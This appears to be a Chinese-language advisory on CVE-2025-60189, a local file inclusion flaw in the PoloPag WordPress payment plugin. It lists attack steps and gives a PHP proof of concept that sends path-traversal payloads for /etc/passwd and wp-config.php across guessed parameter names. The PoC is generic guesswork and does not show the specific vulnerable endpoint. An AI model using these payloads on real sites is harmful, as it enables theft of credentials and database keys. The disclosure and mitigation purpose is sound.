CVE-2025-60189 PoloPag WordPress插件本地文件包含漏洞

漏洞信息

漏洞编号

CVE-2025-60189

漏洞类型

本地文件包含(LFI)

CVSS评分

7.5 高危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

PoloPag – Pix Automático para Woocommerce (wc-polo-payments)

漏洞概述

CVE-2025-60189是WordPress插件PoloPag – Pix Automático para Woocommerce中的一个高危安全漏洞，CVSS评分7.5。该漏洞属于PHP本地文件包含(Local File Inclusion, LFI)问题，存在于插件的文件包含逻辑中。攻击者可以通过构造特殊的HTTP请求，利用不安全的文件包含机制读取服务器上的敏感文件，如配置文件、凭据文件等。由于该漏洞的攻击复杂度较低且无需认证即可利用，对使用该插件的WordPress网站构成严重安全威胁。漏洞影响插件版本从n/a到2.0.9的所有版本，攻击者可能通过利用此漏洞进一步实现远程代码执行，从而完全控制受影响的服务器。

技术细节

该漏洞源于PoloPag插件在处理文件包含请求时缺乏适当的输入验证。攻击者可以通过HTTP请求参数控制要包含的文件路径，绕过安全限制访问服务器上的任意文件。在PHP应用程序中，不安全的include、require、include_once或require_once语句可能导致本地文件包含漏洞。攻击者通常利用路径遍历技术(如使用../或绝对路径)来访问系统敏感文件。典型的利用方式包括：1) 读取/etc/passwd获取系统用户信息；2) 读取WordPress配置文件wp-config.php获取数据库凭据和认证密钥；3) 尝试包含日志文件或session文件实现代码执行。由于该插件用于处理WooCommerce支付集成，漏洞可能影响电子商务交易的安全性。

攻击链分析

STEP 1

步骤1: 信息收集

攻击者识别目标网站使用的WordPress版本和PoloPag插件版本，确认插件版本<=2.0.9

STEP 2

步骤2: 漏洞探测

攻击者探测插件中可能存在文件包含漏洞的端点，尝试不同的参数名称如file、page、template等

STEP 3

步骤3: 路径遍历攻击

利用路径遍历技术(如../../../../../../etc/passwd)绕过安全限制，尝试访问系统敏感文件

STEP 4

步骤4: 敏感文件读取

成功读取/etc/passwd、wp-config.php等敏感文件，获取系统用户信息、数据库凭据和认证密钥

STEP 5

步骤5: 权限提升与持久化

利用获取的凭据进一步渗透，可能通过包含日志文件或session文件实现远程代码执行

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<?php
// CVE-2025-60189 PoC - PoloPag Local File Inclusion
// Target: WordPress site with PoloPag plugin <= 2.0.9

$target = "http://target-site.com"; // Replace with target URL
$plugin_path = "/wp-content/plugins/wc-polo-payments/";

// LFI via vulnerable parameter (example endpoint)
$vulnerable_params = [
    // Common parameter names that might be vulnerable
    "file",
    "page",
    "template",
    "view",
    "controller"
];

foreach ($vulnerable_params as $param) {
    // Read system files
    $payloads = [
        "/etc/passwd",
        "../../../../../../etc/passwd",
        "/etc/hosts",
        "../../wp-config.php"
    ];
    
    foreach ($payloads as $payload) {
        $url = $target . $plugin_path . "?" . $param . "=" . urlencode($payload);
        echo "[*] Testing: " . $url . "\n";
        
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_TIMEOUT, 30);
        
        $response = curl_exec($ch);
        $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        curl_close($ch);
        
        if ($http_code == 200 && strpos($response, "root:") !== false) {
            echo "[!] VULNERABLE! File content leaked:\n";
            echo $response . "\n";
        }
    }
}
?>

影响范围

PoloPag – Pix Automático para Woocommerce <= 2.0.9

防御指南

临时缓解措施

立即禁用或删除PoloPag插件，直到官方发布安全更新。如果必须使用该插件，应配置Web应用防火墙规则阻止包含file、page、template等参数的异常请求，并限制插件目录的访问权限。同时应监控服务器日志以检测潜在的攻击尝试。